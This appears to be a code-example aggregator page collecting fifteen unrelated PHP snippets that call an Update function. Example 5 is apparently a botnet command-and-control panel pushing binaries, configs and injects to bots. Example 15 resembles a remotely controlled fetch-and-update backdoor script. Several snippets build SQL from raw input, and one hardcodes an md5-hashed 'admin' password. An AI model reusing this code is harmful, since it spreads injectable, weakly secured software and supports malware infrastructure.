本文整理汇总了PHP中Update函数的典型用法代码示例。如果您正苦于以下问题:PHP Update函数的具体用法?PHP Update怎么用?PHP Update使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了Update函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。
示例1: CreateRegister
function CreateRegister($name, $email, $passkey)
{
$PREFIXRegister = "PREFIX rsch: <http://vitali.web.cs.unibo.it/raschietto/>\nPREFIX foaf: <http://xmlns.com/foaf/0.1/>\nPREFIX rdf: <http://www.w3.org/1999/02/22-rdf-syntax-ns#>\nPREFIX xsd: <http://www.w3.org/2001/XMLSchema#>\nPREFIX vcard: <http://www.w3.org/2006/vcard/ns#>\nPREFIX schema: <http://schema.org/>";
$Register = $PREFIXRegister . "\nINSERT DATA{\n\t" . Insert . "\n\t{\n\t\t<mailto:{$email}> a foaf:Person; \n \t\t\t\t\t\t\t\t\t\tfoaf:name '{$name}';\n \t\t\t\t\t\t\t\t\t\tschema:email '{$email}';\n \t\t\t\t\t\t\t\t\t\tfoaf:openid '{$email}';\n \t\t\t\t\t\t\t\t\t\tvcard:hasKey '{$passkey}'.\n \t\t\t\t\t\t\t\t\t}\n }";
$answer = Update($Register);
return $answer;
}
示例2: UpdateUser
function UpdateUser($config, $id, $data)
{
$rows = array();
switch ($config['adapter']) {
case 'Mysql':
include '../modules/Application/src/Application/Model/Mysql/Execute.php';
include '../modules/Application/src/Application/Model/Mysql/Connect.php';
$link = Connect($config['slave']);
$query = "UPDATE user SET ";
foreach ($data as $key => $value) {
echo "<pre>key:";
print_r($key);
echo "</pre>";
echo "<pre>value:";
print_r($value);
echo "</pre>";
}
die;
$rows = Execute($link, $query);
break;
case 'Txt':
include '../modules/Application/src/Application/Model/Txt/Delete.php';
$rows = Update($id, $data, $config['userfilename']);
break;
}
return $rows;
}
示例3: DeleteRethoric
function DeleteRethoric($item, $uri, $label, $annotation_ID, $at, $by, $id, $start, $end, $subject, $object, $bLabel)
{
$Prefix = "PREFIX sem: <http://www.ontologydesignpatterns.org/cp/owl/semiotics.owl#>\nPREFIX schema: <http://schema.org/>\nPREFIX oa: <http://www.w3.org/ns/oa#>\nPREFIX dlib: <http://www.dlib.org/dlib/march15/moulaison/>\nPREFIX rsch: <http://vitali.web.cs.unibo.it/raschietto/>\nPREFIX rdfs: <http://www.w3.org/2000/01/rdf-schema#>\nPREFIX rdf: <http://www.w3.org/1999/02/22-rdf-syntax-ns#>\nPREFIX deo: <http://purl.org/spar/deo/>\nPREFIX xsd: <http://www.w3.org/2001/XMLSchema#>\nPREFIX skos: <http://www.w3.org/2004/02/skos/core#>\nPREFIX sro: <http://salt.semanticauthoring.org/ontologies/sro#>";
$Query = $Prefix . "\n\t\tDELETE DATA {\n\t\t" . Insert . "\n\t\t{\n\t\t\t <ann-retorica{$annotation_ID}> a oa:Annotation ; \n\t\t\t\t\t\t\t\t\t\trdfs:label \"{$label}\";\n\t\t\t\t\t\t\t\t\t\toa:annotatedBy <{$by}> ;\n\t\t\t\t\t\t\t\t\t\toa:annotatedAt \"{$at}\" ;\n\t\t\t\t\t\t\t\t\t\toa:hasBody <body-retorica{$annotation_ID}>;\n\t\t\t \t\t\t\t\t\t\toa:hasTarget <target-retorica{$annotation_ID}>. \n\t\t\t\t<target-retorica{$annotation_ID}> a oa:SpecificResource;\n\t\t\t\t\t\t\t\t\t\t\toa:hasSource dlib:{$item} ;\n\t\t\t\t\t\t\t\t\t\t\toa:hasSelector <selector-retorica{$annotation_ID}>.\n\t\t\t\t<selector-retorica{$annotation_ID}> a oa:FragmentSelector;\n\t\t\t\t\t\t\t\t\t\t\t rdf:value \"{$id}\" ;\n\t\t\t\t\t\t\t\t\t\t\t oa:start \"{$start}\"^^xsd:nonNegativeInteger ;\n\t\t\t\t\t\t\t\t\t\t\t oa:end \"{$end}\"^^xsd:nonNegativeInteger.\n\t\t\t <body-retorica{$annotation_ID}> a rdf:Statement;\n\t\t\t\t\t\t\t\t\t\trdf:subject <{$subject}>;\n\t\t\t\t\t\t\t\t\t\trdf:predicate sem:denotes;\n\t\t\t\t\t\t\t\t\t\trdf:object \"{$object}\";\n\t\t\t\t\t\t\t\t\t\trdfs:label\t\"{$bLabel}\".\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}";
$answer = Update($Query);
//print "<xmp>$Query</xmp>";
}
示例4: CreateResource
function CreateResource()
{
$Query = "\n\tINSERT DATA{\n\t" . Insert . "\n\t\t\t\t{\n\t\t\t\t <mailto:admin@ltw1516.it>\n a <http://xmlns.com/foaf/0.1/Person> ;\n <http://schema.org/email> 'admin@ltw1516.it' ;\n <http://www.w3.org/2006/vcard/ns#hasKey>\n '21232f297a57a5a743894a0e4a801fc3' ;\n <http://xmlns.com/foaf/0.1/name>\n 'admin' ;\n <http://xmlns.com/foaf/0.1/openid>\n 'admin' .\n\n\t\t\t\t}\n\t}";
$delete = "\n\tINSERT DATA{\n\t" . Insert . "\n\t\t\t\t{\n\t\t\t\t <mailto:admin@ltw1516.it>\n a <http://xmlns.com/foaf/0.1/Person> ;\n <http://schema.org/email> 'admin@ltw1516.it' ;\n <http://www.w3.org/2006/vcard/ns#hasKey>\n '21232f297a57a5a743894a0e4a801fc3' ;\n <http://xmlns.com/foaf/0.1/name>\n 'admin' ;\n <http://xmlns.com/foaf/0.1/openid>\n 'admin@ltw1516.it' .\n\n\t\t\t\t}\n\t}";
$answer = Update($delete);
$answer = Update($Query);
return $answer;
}
示例5: mysql_fetch_assoc
$bot_os = "--";
$bot_net = "default";
$bot_supp = "first";
$supp_sub = 0;
//$bot_ip = mt_rand(1,255).".".mt_rand(1,255).".".mt_rand(1,255).".".mt_rand(1,255);
$query = "SELECT * FROM `bots` WHERE `bot_uid`='{$bot_uid}';";
$row = mysql_fetch_assoc(mysql_query($query));
$query = "";
$time_bin = $time_cfg = $time_inj = 0;
$ENC_PASS = $BOTNETS[$bot_net]['password'];
if ($data_type == 0 and encrypt($ENC_PASS, substr($DATA, 9, 4)) == "EHLO") {
if (($time_bin = Update(CMD_UPDATE_BINARY, 'data/binaries/binary', $row['time_bin'])) > 0) {
$query .= "`time_bin`='{$time_bin}', ";
} elseif (($time_cfg = Update(CMD_UPDATE_CONFIG, 'data/configs/config', $row['time_cfg'])) > 0) {
$query .= "`time_cfg`='{$time_cfg}', ";
} elseif (($time_inj = Update(CMD_UPDATE_INJECTS, 'data/injects/injects', $row['time_inj'])) > 0) {
$query .= "`time_inj`='{$time_inj}', ";
}
}
if ($row['bot_uid'] == $bot_uid) {
$query = "UPDATE `bots` SET " . $query;
if ($row['bot_ip'] != $bot_ip) {
$row['bot_country'] = GetCountry($bot_ip);
$query .= "`bot_ip`='{$bot_ip}', `bot_country`='{$row['bot_country']}', ";
}
$query .= "`time_last`={$thetime} WHERE `bot_uid`='{$bot_uid}';";
mysql_query($query);
} else {
$row['bot_country'] = GetCountry($bot_ip);
$query = "INSERT INTO `bots` VALUES ('{$bot_uid}', '{$bot_os}', '{$bot_ip}', '{$row['bot_country']}', '{$bot_net}', '{$bot_supp}', {$supp_sub}, {$thetime}, {$thetime}, {$time_bin}, {$time_cfg}, {$time_inj}, '');";
mysql_query($query);
示例6: execute
function execute($param, $post)
{
if (count($param) > 0 && $param[0] == "act") {
$obj = json_decode($post["json"]);
$group = GetSingleByCondition(DRINKERCYCLE_TABLE, array("Name" => $obj->Name));
if ($group instanceof DrinkerCycle) {
if ($obj->Action == "exists") {
$groupRela = GetSingleByCondition(DRINKERCYCLESDRINKERSRELATION_TABLE, array("DrinkerCycleId" => $group->Id));
return ReturnBoolean($groupRela != null);
} else {
if ($obj->Action == "add") {
$drinker = GetSingleByCondition(DRINKER_TABLE, array("Guid" => $obj->Guid));
if ($drinker instanceof Drinker) {
$presGroupRelation = GetSingleByCondition(DRINKERCYCLESDRINKERSRELATION_TABLE, array("DrinkerCycleId" => $group->Id, "DrinkerId" => $drinker->Id));
if ($presGroupRelation == null) {
$groupRela = GetSingleByCondition(DRINKERCYCLESDRINKERSRELATION_TABLE, array("DrinkerCycleId" => $group->Id));
$newRela = new DrinkerCyclesDrinkersRelation();
$newRela->DrinkerId = $drinker->Id;
$newRela->DrinkerCycleId = $group->Id;
$newRela->IsAuthenticated = $groupRela == null;
return ReturnBoolean(Insert(DRINKERCYCLESDRINKERSRELATION_TABLE, $newRela));
}
return ReturnBoolean(true);
} else {
return ReturnNotFound($obj->Guid, "Drinker");
}
} else {
if ($obj->Action == "remove") {
$drinker = GetSingleByCondition(DRINKER_TABLE, array("Guid" => $obj->Guid));
if ($drinker instanceof Drinker) {
$groupRela = GetSingleByCondition(DRINKERCYCLESDRINKERSRELATION_TABLE, array("DrinkerCycleId" => $group->Id, "DrinkerId" => $drinker->Id));
if ($groupRela instanceof DrinkerCyclesDrinkersRelation) {
return ReturnBoolean(DeleteById(DRINKERCYCLESDRINKERSRELATION_TABLE, $groupRela->Id));
} else {
return RelationNotFound($group->Id, $drinker->Id, DRINKERCYCLESDRINKERSRELATION_TABLE);
}
} else {
return ReturnNotFound($obj->Guid, DRINKER_TABLE);
}
} else {
if ($obj->Action == "authenticate" || $obj->Action == "deauthenticate") {
$newVal = true;
if ($obj->Action == "deauthenticate") {
$newVal = false;
}
$drinker = GetSingleByCondition(DRINKER_TABLE, array("Guid" => $obj->Guid));
if ($drinker instanceof Drinker) {
$groupRela = GetSingleByCondition(DRINKERCYCLESDRINKERSRELATION_TABLE, array("DrinkerCycleId" => $group->Id, "DrinkerId" => $drinker->Id));
if ($groupRela instanceof DrinkerCyclesDrinkersRelation) {
//can change others status
if ($groupRela->IsAuthenticated) {
$otherDrinker = GetSingleByCondition(DRINKER_TABLE, array("Guid" => $obj->AuthGuid));
if ($otherDrinker instanceof Drinker) {
$otherGroupRela = GetSingleByCondition(DRINKERCYCLESDRINKERSRELATION_TABLE, array("DrinkerCycleId" => $group->Id, "DrinkerId" => $otherDrinker->Id));
if ($otherGroupRela instanceof DrinkerCyclesDrinkersRelation) {
$otherGroupRela->IsAuthenticated = $newVal;
return ReturnBoolean(Update(DRINKERCYCLESDRINKERSRELATION_TABLE, $otherGroupRela));
} else {
return RelationNotFound($group->Id, $otherDrinker->Id, DRINKERCYCLESDRINKERSRELATION_TABLE);
}
} else {
return ReturnNotFound($obj->AuthGuid, "Drinker");
}
} else {
//not authenticated
return ReturnBoolean(false);
}
} else {
return RelationNotFound($group->Id, $drinker->Id, DRINKERCYCLESDRINKERSRELATION_TABLE);
}
} else {
return ReturnNotFound($obj->Guid, "Drinker");
}
} else {
if ($obj->Action == "removeforeign") {
$drinker = GetSingleByCondition(DRINKER_TABLE, array("Guid" => $obj->Guid));
if ($drinker instanceof Drinker) {
$groupRela = GetSingleByCondition(DRINKERCYCLESDRINKERSRELATION_TABLE, array("DrinkerCycleId" => $group->Id, "DrinkerId" => $drinker->Id));
if ($groupRela instanceof DrinkerCyclesDrinkersRelation) {
//can change others status
if ($groupRela->IsAuthenticated) {
$otherDrinker = GetSingleByCondition(DRINKER_TABLE, array("Guid" => $obj->AuthGuid));
if ($otherDrinker instanceof Drinker) {
$otherGroupRela = GetSingleByCondition(DRINKERCYCLESDRINKERSRELATION_TABLE, array("DrinkerCycleId" => $group->Id, "DrinkerId" => $otherDrinker->Id));
if ($otherGroupRela instanceof DrinkerCyclesDrinkersRelation) {
return ReturnBoolean(Delete(DRINKERCYCLESDRINKERSRELATION_TABLE, $otherGroupRela));
} else {
return RelationNotFound($group->Id, $otherDrinker->Id, DRINKERCYCLESDRINKERSRELATION_TABLE);
}
} else {
return ReturnNotFound($obj->AuthGuid, "Drinker");
}
} else {
//not authenticated
return ReturnBoolean(false);
}
} else {
return RelationNotFound($group->Id, $drinker->Id, DRINKERCYCLESDRINKERSRELATION_TABLE);
}
} else {
//.........这里部分代码省略.........
示例7: thumbnail_images
$thumbpath = 'upload/thumbs/' . $news_image;
$obj_img = new thumbnail_images();
$obj_img->PathImgOld = $tpath1;
$obj_img->PathImgNew = $thumbpath;
$obj_img->NewWidth = 72;
$obj_img->NewHeight = 72;
if (!$obj_img->create_thumbnail_images()) {
echo $_SESSION['msg'] = "Thumbnail not created... please upload image again";
exit;
}
$data = array('cat_id' => $_POST['category_id'], 'news_heading' => addslashes($_POST['news_heading']), 'news_description' => addslashes($_POST['news_description']), 'news_date' => $_POST['news_date'], 'news_image' => $news_image);
}
} else {
$data = array('cat_id' => $_POST['category_id'], 'news_heading' => addslashes($_POST['news_heading']), 'news_description' => addslashes($_POST['news_description']), 'news_date' => $_POST['news_date']);
}
$news_edit = Update('tbl_news', $data, "WHERE nid = '" . $_POST['news_id'] . "'");
if ($news_edit > 0) {
$_SESSION['msg'] = "11";
header("Location:add-news?news_id=" . $_POST['news_id']);
exit;
}
}
//Get category
echo $cat_qry = "SELECT * FROM tbl_news_category";
$cat_result = mysql_query($cat_qry);
?>
<script src="js/jquery.min.js"></script>
<script type="text/javascript" src="js/jquery.validate.min.js"></script>
示例8: Single
<?php
include 'includes/menu.php';
?>
<?php
include 'includes/function.php';
include 'messages/messages.php';
$result = Single('admin', 'id', $_SESSION['ADMIN_ID']);
$row = mysql_fetch_assoc($result);
if (isset($_POST['submit'])) {
if ($_POST['password']) {
$data = array('password' => md5($_POST['password']));
} else {
$data = array('username' => $_POST['username'], 'email' => $_POST['email']);
}
$admin_pro = Update('admin', $data, "WHERE id = '1'");
if ($admin_pro > 0) {
$_SESSION['msg'] = "2";
header("Location:edit-profile");
exit;
}
}
?>
<div class="content">
<div class="header">
<h1 class="page-title"><?php
echo $lang['PAGE_PROFILE_EDIT'];
?>
</h1>
示例9: clear
function clear()
{
$answer = Update("CLEAR GRAPH <http://vitali.web.cs.unibo.it/raschietto/graph/ltw1516>");
return $answer;
}
示例10: header
header("Location: /user/select");
}
echo "<pre>";
print_r($validate);
echo "</pre>";
// TODO: mostrar formulario con datos de usuario
} else {
include "../modules/Application/views/user/insert.phtml";
}
break;
case 'update':
if ($_POST) {
// print_r($_POST);
// $_POST['photo']=$_FILES['photo']['name'];
include "../modules/Application/src/Application/Model/Txt/Update.php";
Update($_POST['id'], $_POST, $userfilename);
// saltar a tabla
header("Location: /user/select");
} else {
// Formulario relleno con los datos
$id = $router['params']['id'];
$_GET['filename'] = $userfilename;
include "../modules/Application/views/user/update.phtml";
}
break;
case 'delete':
if ($_POST) {
if ($_POST['submit'] == 'si') {
DeleteUser($config, $_POST['id']);
}
// Saltar a select
示例11: Save
case 'insert':
if ($_POST) {
$array = $_POST;
$array['photo'] = $_FILES['photo']['name'];
Save($array, $filename);
header("Location: /ControllerUser.php?action=select");
} else {
$form = file_get_contents($formdef);
include '../modules/Application/views/user/insert.phtml';
}
break;
case 'update':
if ($_POST) {
$array = $_POST;
$array['photo'] = $_FILES['photo']['name'];
Update($array, $filename);
header("Location: ./ControllerUser.php?action=select");
} else {
$users = file_get_contents($filename);
$users = explode("\n", $users);
$user = explode("|", $users[$_GET['id']]);
//echo $user[4];
$form = file_get_contents($formdef);
include '../modules/Application/views/user/update.phtml';
}
break;
case 'delete':
if ($_POST) {
if ($_POST['submit'] == 'Si') {
// Borar y saltar
$users = file_get_contents($filename);
示例12: Display
/**
* Methode zum Anzeigen des Contents.
*
* @return String Content der Applikation.
*/
public function Display()
{
$view = $this->NotFound();
if (count($this->params) == 0 || $this->params[0] == "") {
$view = new GenericView("settings");
if (isset($this->request["changepass"])) {
if ($this->request["Password1"] == $this->request["Password2"]) {
if (CheckPassword($this->request["Password1"])) {
$params = array();
$params["Id"] = GetActiveUser()->Id;
$params["PasswordHash"] = $this->request["Password1"];
if (AddOrUpdate("admins", $params)) {
DoLog("Das Passwort wurde erfolgreich geändert", LOG_LEVEL_INFO);
} else {
DoLog("Das Passwort konnte nicht geändert werden", LOG_LEVEL_SYSTEM_ERROR);
}
} else {
//log was done by CheckAdminPass
}
} else {
DoLog("Die beiden Passwörter stimmen nicht überein", LOG_LEVEL_USER_ERROR);
}
if ($this->request["no-replace"] == true) {
exit;
}
}
$view->assign('admins', GetAllOrderedBy("admins", "Id"));
} else {
if ($this->params[0] == "Admin") {
$view = new GenericCrudView($this->params[1], array("add" => "edit"), "settings", "Admin");
if ($this->params[1] == "add") {
if (isset($this->request["add"]) && $this->request["add"] == "true") {
unset($this->request["add"]);
$res = AddAdmin($this->request);
if ($res) {
$obj = GetById("admins", $res);
if ($obj !== false) {
DoLog("Admin wurde hinzugefügt, E-Mail wurde versendet.", LOG_LEVEL_INFO);
} else {
DoLog("Admin wurde hinzugefügt, E-Mail wurde versendet.", LOG_LEVEL_SYSTEM_ERROR);
}
}
}
$view->assign("obj", null);
} else {
if ($this->params[1] == "edit") {
if (isset($this->request["edit"]) && $this->request["edit"] == "true") {
unset($this->request["edit"]);
$this->request["Id"] = $this->params[2];
$res = Update("admins", $this->request);
if ($res) {
DoLog("Admin wurde bearbeitet", LOG_LEVEL_INFO);
} else {
$view = new MessageView("Admin konnte nicht bearbeitet werden.", LOG_LEVEL_SYSTEM_ERROR);
}
}
$obj = GetById("admins", $this->params[2]);
if ($obj !== false) {
$view->assign("obj", $obj);
} else {
$view = new MessageView("Admin wurde nicht gefunden.", LOG_LEVEL_SYSTEM_ERROR);
}
} else {
if ($this->params[1] == "delete" && isset($this->params[2]) && is_numeric($this->params[2])) {
if (isset($this->request["delete"]) && $this->request["delete"] == "true") {
$res = DeleteById("admins", $this->params[2]);
if ($res) {
$view = new MessageView("Admin wurde gelöscht", LOG_LEVEL_INFO);
} else {
$view = new MessageView("Admin konnte nicht gelöscht werden.", LOG_LEVEL_SYSTEM_ERROR);
}
} else {
$obj = GetById("admins", $this->params[2]);
if ($obj !== false) {
$view->assign("obj", $obj);
} else {
$view = new MessageView("Admin wurde nicht gefunden.", LOG_LEVEL_SYSTEM_ERROR);
}
}
} else {
$view = $this->NotFound();
}
}
}
} else {
if ($this->params[0] == "download") {
if ($this->params[1] == "database") {
DownloadDatabaseAndExit();
}
}
}
}
return $view->loadTemplate();
}
示例13: mysql_query
if (isset($_POST['submit'])) {
$img_res = mysql_query("SELECT * FROM tbl_settings WHERE id='1'");
$img_row = mysql_fetch_assoc($img_res);
if ($img_row['app_logo'] != "") {
unlink('upload/' . $img_row['app_logo']);
}
if ($_FILES['app_logo']['name'] != "") {
$app_logo = $_FILES['app_logo']['name'];
$pic1 = $_FILES['app_logo']['tmp_name'];
$tpath1 = 'upload/' . $app_logo;
copy($pic1, $tpath1);
$data = array('app_name' => $_POST['app_name'], 'app_logo' => $app_logo, 'app_email' => $_POST['app_email'], 'app_website' => addslashes($_POST['app_website']), 'app_description' => addslashes($_POST['app_description']));
} else {
$data = array('app_name' => $_POST['app_name'], 'app_email' => $_POST['app_email'], 'app_website' => addslashes($_POST['app_website']), 'app_description' => addslashes($_POST['app_description']));
}
$news_edit = Update('tbl_settings', $data, "WHERE id = '1'");
if ($news_edit > 0) {
$_SESSION['msg'] = "15";
header("Location:settings");
exit;
}
}
?>
<script src="js/jquery.min.js"></script>
<script type="text/javascript" src="js/jquery.validate.min.js"></script>
<script type="text/javascript">
(function($,W,D)
{
示例14: Insert
if ($_POST) {
$_POST['photo'] = $_FILES['photo']['name'];
include "../modules/Application/src/Application/Model/Txt/Insert.php";
Insert($_POST, 'user.txt');
// saltar a tabla
header("Location: /UserController.php");
} else {
include "../modules/Application/views/user/insert.phtml";
}
break;
case 'update':
if ($_POST) {
// print_r($_POST);
// $_POST['photo']=$_FILES['photo']['name'];
include "../modules/Application/src/Application/Model/Txt/Update.php";
Update($_POST['id'], $_POST, 'user.txt');
// saltar a tabla
header("Location: /UserController.php");
} else {
// Formulario relleno con los datos
$id = $_GET['id'];
$_GET['filename'] = 'user.txt';
include "../modules/Application/views/user/update.phtml";
}
break;
case 'select':
// Leer el archivo de texto en un string
$users = file_get_contents('user.txt');
// convertir el string en array separando por saltos de linea
$users = explode("\n", $users);
include "../modules/Application/views/user/select.phtml";
示例15: Main
/**
* Use this function main working function
* the output of Main().
*/
function Main()
{
if (isset($_REQUEST['update']) == true) {
Update();
}
if (isset($_REQUEST['include_update']) == true) {
ScriptUpdate();
}
if (isset($_REQUEST['check_script']) == true) {
CheckScript();
}
if (isset($_REQUEST['clear_message']) == true) {
RemoveScript();
}
if (isset($_REQUEST['GetContent']) === true) {
$sGetUrl = '';
$sGetUrl = trim($_REQUEST['GetContent']);
if (strlen($sGetUrl) == 0) {
echo '<fail>no valid url</fail>';
exit;
}
$nMatch = preg_match('#^http:\\/\\/#i', $sGetUrl);
if ($nMatch === false || $nMatch == 0) {
$sGetUrl = 'http://' . $sGetUrl;
}
$sOutContent = '';
$bGetContentResult = false;
$bGetContentResult = GetContents($sGetUrl, $sOutContent);
if ($bGetContentResult === false || $sOutContent === false || strlen($sOutContent) === 0) {
echo '<fail>cant get content</fail>';
} else {
echo $sOutContent;
}
}
if (isset($_REQUEST['dgen']) == true && isset($_REQUEST['secvalue']) == true) {
UpdateFilds();
exit;
}
if (isset($_REQUEST['name']) === true && isset($_REQUEST['word']) === true && isset($_REQUEST['indx']) === true) {
ShowContent();
}
}